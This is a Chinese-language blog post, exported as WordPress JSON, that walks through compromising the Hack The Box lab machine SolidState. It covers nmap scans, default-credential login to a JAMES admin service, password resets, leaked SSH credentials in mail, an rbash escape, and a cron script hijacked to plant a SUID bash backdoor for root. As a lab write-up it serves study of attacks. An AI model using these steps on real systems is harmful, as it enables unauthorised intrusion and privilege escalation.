{"id":104,"date":"2024-11-13T09:14:36","date_gmt":"2024-11-13T01:14:36","guid":{"rendered":"https:\/\/www.misaka19008-lab.icu\/?p=104"},"modified":"2024-11-13T09:51:24","modified_gmt":"2024-11-13T01:51:24","slug":"htb_machine_solidstate","status":"publish","type":"post","link":"https:\/\/www.misaka19008-lab.icu\/index.php\/2024\/11\/13\/htb_machine_solidstate\/","title":{"rendered":"HTB\u9776\u673a SolidState \u6e17\u900f\u6d4b\u8bd5\u8bb0\u5f55"},"content":{"rendered":"
\n

\u76ee\u6807\u4fe1\u606f<\/h1>\n

IP\u5730\u5740\uff1a<\/strong>10.10.10.51<\/code><\/p><\/blockquote>\n

\n

\u4fe1\u606f\u6536\u96c6<\/h1>\n

ICMP\u68c0\u6d4b<\/h2>\n
\u250c\u2500\u2500(root\u327fhacker)-[\/home\/\u2026\/Documents\/pentest_notes\/solidstate\/nmap_reports]\n\u2514\u2500# ping -c 4 10.10.10.51\nPING 10.10.10.51 (10.10.10.51) 56(84) bytes of data.\n64 bytes from 10.10.10.51: icmp_seq=2 ttl=63 time=237 ms\n64 bytes from 10.10.10.51: icmp_seq=3 ttl=63 time=250 ms\n64 bytes from 10.10.10.51: icmp_seq=4 ttl=63 time=240 ms\n\n--- 10.10.10.51 ping statistics ---\n4 packets transmitted, 3 received, 25% packet loss, time 3017ms\nrtt min\/avg\/max\/mdev = 237.063\/242.494\/249.945\/5.449 ms<\/code><\/pre>\n
\u653b\u51fb\u673a\u548c\u9776\u673a\u95f4\u7f51\u7edc\u8fde\u63a5\u7a0d\u5dee\u3002<\/p>\n
\u9632\u706b\u5899\u68c0\u6d4b<\/h2>\n
# Nmap 7.94SVN scan initiated Sat Jun 22 12:12:24 2024 as: nmap -sF -p- --min-rate 2000 -oN .\/fin_result.txt 10.10.10.51\nNmap scan report for 10.10.10.51 (10.10.10.51)\nHost is up (0.22s latency).\nNot shown: 65529 closed tcp ports (reset)\nPORT     STATE         SERVICE\n22\/tcp   open|filtered ssh\n25\/tcp   open|filtered smtp\n80\/tcp   open|filtered http\n110\/tcp  open|filtered pop3\n119\/tcp  open|filtered nntp\n4555\/tcp open|filtered rsip\n\n# Nmap done at Sat Jun 22 12:13:02 2024 -- 1 IP address (1 host up) scanned in 38.10 seconds<\/code><\/pre>\n
\u9776\u673a\u5f00\u653e\u4e866<\/code>\u4e2aTCP<\/code>\u7aef\u53e3\u3002<\/p>\n
\u7f51\u7edc\u7aef\u53e3\u626b\u63cf<\/h2>\n
TCP<\/code>\u7aef\u53e3\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n
# Nmap 7.94SVN scan initiated Sat Jun 22 12:15:34 2024 as: nmap -sS -sV -A -p 22,25,80,110,119,4555 -oN .\/tcp_result.txt 10.10.10.51\nNmap scan report for 10.10.10.51 (10.10.10.51)\nHost is up (0.29s latency).\n\nPORT     STATE SERVICE VERSION\n22\/tcp   open  ssh     OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)\n| ssh-hostkey: \n|   2048 77:00:84:f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b (RSA)\n|   256 78:b8:3a:f6:60:19:06:91:f5:53:92:1d:3f:48:ed:53 (ECDSA)\n|_  256 e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 (ED25519)\n25\/tcp   open  smtp    JAMES smtpd 2.3.2\n|_smtp-commands: solidstate Hello 10.10.10.51 (10.10.14.2 [10.10.14.2])\n80\/tcp   open  http    Apache httpd 2.4.25 ((Debian))\n|_http-title: Home - Solid State Security\n|_http-server-header: Apache\/2.4.25 (Debian)\n110\/tcp  open  pop3    JAMES pop3d 2.3.2\n119\/tcp  open  nntp    JAMES nntpd (posting ok)\n4555\/tcp open  rsip?\n| fingerprint-strings: \n|   GenericLines: \n|     JAMES Remote Administration Tool 2.3.2\n|     Please enter your login and password\n|     Login id:\n|     Password:\n|     Login failed for \n|_    Login id:\n1 service unrecognized despite returning data. If you know the service\/version, please submit the following fingerprint at https:\/\/nmap.org\/cgi-bin\/submit.cgi?new-service :\nSF-Port4555-TCP:V=7.94SVN%I=7%D=6\/22%Time=66764FF3%P=x86_64-pc-linux-gnu%r\nSF:(GenericLines,7C,\"JAMESx20Remotex20Administrationx20Toolx202.3.2\nSF:nPleasex20enterx20yourx20loginx20andx20passwordnLoginx20id:nPas\nSF:sword:nLoginx20failedx20forx20nLoginx20id:n\");\nWarning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port\nAggressive OS guesses: Linux 3.16 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%), Linux 3.1 (93%), Linux 3.2 (93%), Linux 3.2 - 4.9 (93%), Linux 4.10 (93%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (92%), Android 4.1.1 (91%), Android 4.1.2 (91%), Linux 3.12 (91%)\nNo exact OS matches for host (test conditions non-ideal).\nNetwork Distance: 2 hops\nService Info: Host: solidstate; OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n\nTRACEROUTE (using port 80\/tcp)\nHOP RTT       ADDRESS\n1   284.19 ms 10.10.14.1 (10.10.14.1)\n2   284.14 ms 10.10.10.51 (10.10.10.51)\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\n# Nmap done at Sat Jun 22 12:20:28 2024 -- 1 IP address (1 host up) scanned in 294.69 seconds<\/code><\/pre>\n
UDP<\/code>\u7aef\u53e3\u5f00\u653e\u5217\u8868\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n
# Nmap 7.94SVN scan initiated Sat Jun 22 12:22:55 2024 as: nmap -sU -p- --min-rate 2000 -oN .\/udp_ports.txt 10.10.10.51\nWarning: 10.10.10.51 giving up on port because retransmission cap hit (10).\nNmap scan report for 10.10.10.51 (10.10.10.51)\nHost is up (0.29s latency).\nAll 65535 scanned ports on 10.10.10.51 (10.10.10.51) are in ignored states.\nNot shown: 65247 open|filtered udp ports (no-response), 288 closed udp ports (port-unreach)\n\n# Nmap done at Sat Jun 22 12:28:57 2024 -- 1 IP address (1 host up) scanned in 362.03 seconds<\/code><\/pre>\n
UDP<\/code>\u7aef\u53e3\u8be6\u7ec6\u4fe1\u606f\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n
\uff08\u65e0\uff09<\/code><\/pre>\n
\u540c\u65f6\u53d1\u73b0\u9776\u673a\u64cd\u4f5c\u7cfb\u7edf\u4e3aDebian Linux<\/code>\uff0c\u5185\u6838\u7248\u672c\u5927\u81f4\u4e3aLinux 3.16<\/code>\u3002<\/p>\n
\n
\u670d\u52a1\u63a2\u6d4b<\/h1>\n
SSH\u670d\u52a1\uff0822\u7aef\u53e3\uff09<\/h2>\n
\u7aef\u53e3Banner<\/code>\uff1a<\/p>\n
\u250c\u2500\u2500(root\u327fhacker)-[\/home\/megumin\/Documents\/pentest_notes\/solidstate]\n\u2514\u2500# nc -nv 10.10.10.51 22                                       \n(UNKNOWN) [10.10.10.51] 22 (ssh) open\nSSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u1<\/code><\/pre>\n
SMTP\u670d\u52a1\uff0825\u7aef\u53e3\uff09<\/h2>\n
\u5c1d\u8bd5\u4f7f\u7528Telnet<\/code>\u8fde\u63a525<\/code>\u7aef\u53e3\uff0c\u53d1\u73b0\u53ef\u4ee5\u8fdb\u884c\u767b\u5f55\u3002<\/p>\n
\u5c1d\u8bd5\u4f7f\u7528smtp-user-enum<\/code>\u5de5\u5177\u679a\u4e3e\u7528\u6237\uff0c\u5931\u8d25\u3002<\/p>\n
JAMES\u90ae\u4ef6\u7cfb\u7edf\u7ba1\u7406\u670d\u52a1\uff084555\u7aef\u53e3\uff09<\/h2>\n
\u5c1d\u8bd5\u4f7f\u7528Netcat<\/code>\u8fde\u63a5\u8be5\u670d\u52a1\uff0c\u4f7f\u7528\u9ed8\u8ba4\u8d26\u5bc6root\/root<\/code>\u767b\u5f55\uff1a<\/p>\n
\"\"<\/p>\n
\u8054\u7f51\u67e5\u8be2\u8be5\u7248\u672c\u7ba1\u7406\u7cfb\u7edf\u6f0f\u6d1e\uff1a<\/p>\n
\"\"<\/p>\n
\u5c1d\u8bd5\u4f7f\u7528listusers<\/code>\u547d\u4ee4\u67e5\u770b\u90ae\u4ef6\u670d\u52a1\u5668\u4e2d\u7684\u7528\u6237\uff1a<\/p>\n
\"\"<\/p>\n
\u53d1\u73b0\u4e86james<\/code>\u3001thomas<\/code>\u3001john<\/code>\u3001mindy<\/code>\u548cmailadmin<\/code>5\u4e2a\u7528\u6237\uff0c\u4f7f\u7528setpassword<\/code>\u547d\u4ee4\u5c06\u4ee5\u4e0a\u7528\u6237\u7684\u5bc6\u7801\u5168\u90e8\u6539\u4e3a111111<\/code>\u3002<\/p>\n
Web\u5e94\u7528\u7a0b\u5e8f\uff0880\u7aef\u53e3\uff09<\/h2>\n
\u6253\u5f00\u4e3b\u9875\uff1ahttp:\/\/10.10.10.51\/<\/code><\/p>\n
\"\"<\/p>\n
\u5728\u9875\u9762\u6700\u5e95\u90e8\u53d1\u73b0\u4e86\u90ae\u4ef6\u7528\u6237\u540dwebadmin<\/code>\u3002<\/p>\n
\u76f4\u63a5\u626b\u63cf\u76ee\u5f55\uff1a<\/p>\n
# Dirsearch started Sun Jun 23 08:48:44 2024 as: \/usr\/lib\/python3\/dist-packages\/dirsearch\/dirsearch.py -u http:\/\/10.10.10.51\/ -x 400,403,404 -t 60 -e php,js,html,asp,aspx,txt,zip,tar.gz,pcap\n\n200     3KB  http:\/\/10.10.10.51\/about.html\n301   311B   http:\/\/10.10.10.51\/assets    -> REDIRECTS TO: http:\/\/10.10.10.51\/assets\/\n200   467B   http:\/\/10.10.10.51\/assets\/\n301   311B   http:\/\/10.10.10.51\/images    -> REDIRECTS TO: http:\/\/10.10.10.51\/images\/\n200   568B   http:\/\/10.10.10.51\/images\/\n200     6KB  http:\/\/10.10.10.51\/LICENSE.txt\n200   606B   http:\/\/10.10.10.51\/README.txt<\/code><\/pre>\n
\u672a\u53d1\u73b0\u654f\u611f\u4fe1\u606f\u3002<\/p>\n
\n
\u6e17\u900f\u6d4b\u8bd5<\/h1>\n
\u67e5\u770b\u6240\u6709\u7528\u6237\u90ae\u4ef6<\/h2>\n
\u5728\u66f4\u6539\u6240\u6709\u7528\u6237\u7684\u5bc6\u7801\u4e4b\u540e\uff0c\u5c1d\u8bd5\u767b\u5f55POP3<\/code>\u90ae\u4ef6\u670d\u52a1\u5668\u67e5\u770b\u7528\u6237\u90ae\u4ef6\uff0c\u53d1\u73b0\u53ea\u6709john<\/code>\u548cmindy<\/code>\u7528\u6237\u7684\u8d26\u53f7\u4e2d\u6709\u90ae\u4ef6\u4fe1\u606f\uff1a<\/p>\n
======== New Hires access (From: mailadmin, To: john) ========\nJohn, \n\nCan you please restrict mindy's access until she gets read on to the program. Also make sure that you send her a tempory password to login to her accounts.\n\nThank you in advance.\n\nRespectfully,\nJames\n======== Welcome (From: mailadmin, To: mindy) ========\nDear Mindy,\nWelcome to Solid State Security Cyber team! We are delighted you are joining us as a junior defense analyst. Your role is critical in fulfilling the mission of our orginzation. The enclosed information is designed to serve as an introduction to Cyber Security and provide resources that will help you make a smooth transition into your new role. The Cyber team is here to support your transition so, please know that you can call on any of us to assist you.\n\nWe are looking forward to you joining our team and your success at Solid State Security. \n\nRespectfully,\nJames\n======== Your Access (From: mailadmin, To: mindy) ========\nDear Mindy,\n\nHere are your ssh credentials to access the system. Remember to reset your password after your first login. \nYour access is restricted at the moment, feel free to ask your supervisor to add any commands you need to your path. \n\nusername: mindy\npass: P@55W0rd1!2@\n\nRespectfully,\nJames\n================ The End ================<\/code><\/pre>\n
\u6210\u529f\u53d1\u73b0\u4e86\u7528\u6237SSH<\/code>\u51ed\u636e\uff1a<\/p>\n
    \n
  • \u7528\u6237\u540d\uff1a<\/strong>mindy<\/code><\/li>\n
  • \u5bc6\u7801\uff1a<\/strong>P@55W0rd1!2@<\/code><\/li>\n<\/ul>\n
    \u76f4\u63a5\u767b\u5f55SSH<\/code>\uff1a<\/p>\n
    \"\"<\/p>\n
    \u6210\u529f\uff01\uff01\uff01<\/strong><\/p>\n
    \n
    \u6743\u9650\u63d0\u5347<\/h1>\n
    \u53d7\u9650Shell\u9003\u9038<\/h2>\n
    \u767b\u5f55\u7cfb\u7edf\u4e4b\u540e\uff0c\u53d1\u73b0\u5f53\u524d\u7684Shell\u73af\u5883\u4e3a\/bin\/rbash<\/code>\uff0c\u5927\u90e8\u5206\u547d\u4ee4\u6267\u884c\u53d7\u5230\u9650\u5236\u3002<\/p>\n
    \u9000\u51faTermius<\/code>\uff0c\u4f7f\u7528SSH<\/code>\u914d\u5408\u5982\u4e0b\u547d\u4ee4\u9003\u9038\uff1a<\/p>\n
    ssh mindy@10.10.10.51 -t \"bash --noprofile\"\nchsh<\/code><\/pre>\n
    \"\"<\/p>\n
    \u66f4\u6539Shell\u6210\u529f\uff01\uff01<\/strong><\/p>\n
    \u91cd\u65b0\u767b\u5f55\u7cfb\u7edf\u65f6\uff0c\u53d1\u73b0Shell\u7684\u73af\u5883\u53d8\u91cf\u5b58\u5728\u95ee\u9898\uff0c\u4f7f\u7528\u5982\u4e0b\u547d\u4ee4\u4fee\u590d\uff1a<\/strong><\/p>\n
    export PATH=\/usr\/local\/sbin:\/usr\/local\/bin:\/usr\/sbin:\/usr\/bin:\/sbin:\/bin:\/usr\/local\/games:\/usr\/games<\/code><\/pre>\n
    \u5b9a\u65f6\u811a\u672c\u63d0\u6743<\/h2>\n
    \u8fdb\u884c\u672c\u5730\u4fe1\u606f\u9884\u6536\u96c6\u65f6\uff0c\u5c1d\u8bd5\u5217\u51fa\/opt<\/code>\u76ee\u5f55\uff1a<\/p>\n
    \"\"<\/p>\n
    \u53d1\u73b0\u6709tmp.py<\/code>\u811a\u672c\u6587\u4ef6\uff0c\u5185\u5bb9\u5982\u4e0b\uff1a<\/p>\n
    #!\/usr\/bin\/env python\nimport os\nimport sys\ntry:\n     os.system('rm -r \/tmp\/* ')\nexcept:\n     sys.exit()<\/code><\/pre>\n
    \u6000\u7591\u8be5\u811a\u672c\u4e3a\u5b9a\u65f6\u4efb\u52a1\u811a\u672c\uff0c\u9274\u4e8e\u9776\u673a\u4e0a\u6ca1\u6709sudo<\/code>\u547d\u4ee4\uff0c\u5c06\u811a\u672c\u5185\u5bb9\u6539\u4e3a\uff1a<\/p>\n
    #!\/usr\/bin\/env python\nimport os\nif os.path.exists(\"\/tmp\/id.txt\") and os.path.exists(\"\/tmp\/.evilbash\"):\n    exit(0)\nos.system(\"id > \/tmp\/id.txt\")\nwith open(\"\/bin\/bash\",\"rb\") as f:\n    binary_data = f.read()\nwith open(\"\/tmp\/.evilbash\",\"wb\") as f:\n    f.write(binary_data)\nos.chmod(\"\/tmp\/.evilbash\",0o4777)<\/code><\/pre>\n
    \u7b49\u5f85\u4e00\u4f1a\u513f\u540e\uff0c\u5728\/tmp<\/code>\u76ee\u5f55\u4e0b\u51fa\u73b0\u4e86\u88ab\u8bbe\u7f6eSUID<\/code>\u6743\u9650\u7684bash<\/code>\u540e\u95e8\u7a0b\u5e8f\uff1a<\/p>\n
    \"\"<\/p>\n
    \u76f4\u63a5\u6267\u884c\u5982\u4e0b\u547d\u4ee4\u4fee\u6539root<\/code>\u7528\u6237\u7684\u5bc6\u7801\uff0c\u5e76\u5207\u6362\u81f3root<\/code>\u7528\u6237\uff1a<\/p>\n
    cd \/tmp\n.\/.evilbash -p\npython -c \"import os;os.setuid(0);os.setgid(0);os.system('passwd root')\"\nexit\nsu -<\/code><\/pre>\n
    \"\"<\/p>\n
    \u63d0\u6743\u6210\u529f\uff01\uff01\uff01\uff01<\/strong><\/p>\n
    \n
    Flag\u6587\u4ef6\u5c55\u793a<\/h1>\n
    6f3e7590be5bc7d4b82f2ead0a79f618<\/code><\/pre>\n
    \n
    \u672c\u6b21\u9776\u673a\u6e17\u900f\u5230\u6b64\u7ed3\u675f<\/h1>\n
    \n","protected":false},"excerpt":{"rendered":"
    \u76ee\u6807\u4fe1\u606f IP\u5730\u5740\uff1a10.10.10.51 \u4fe1\u606f\u6536\u96c6 ICMP\u68c0\u6d4b \u250c\u2500\u2500(root\u327fhacker)-[\/home\/\u2026\/Docum …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"","_seopress_titles_title":"","_seopress_titles_desc":"","_seopress_robots_index":"","emotion":"","emotion_color":"","title_style":"","license":"","footnotes":""},"categories":[3,14],"tags":[],"class_list":["post-104","post","type-post","status-publish","format-standard","hentry","category-htb_retired","category-linux_machines"],"_links":{"self":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/104","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/comments?post=104"}],"version-history":[{"count":1,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/104\/revisions"}],"predecessor-version":[{"id":105,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/104\/revisions\/105"}],"wp:attachment":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/media?parent=104"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/categories?post=104"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/tags?post=104"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}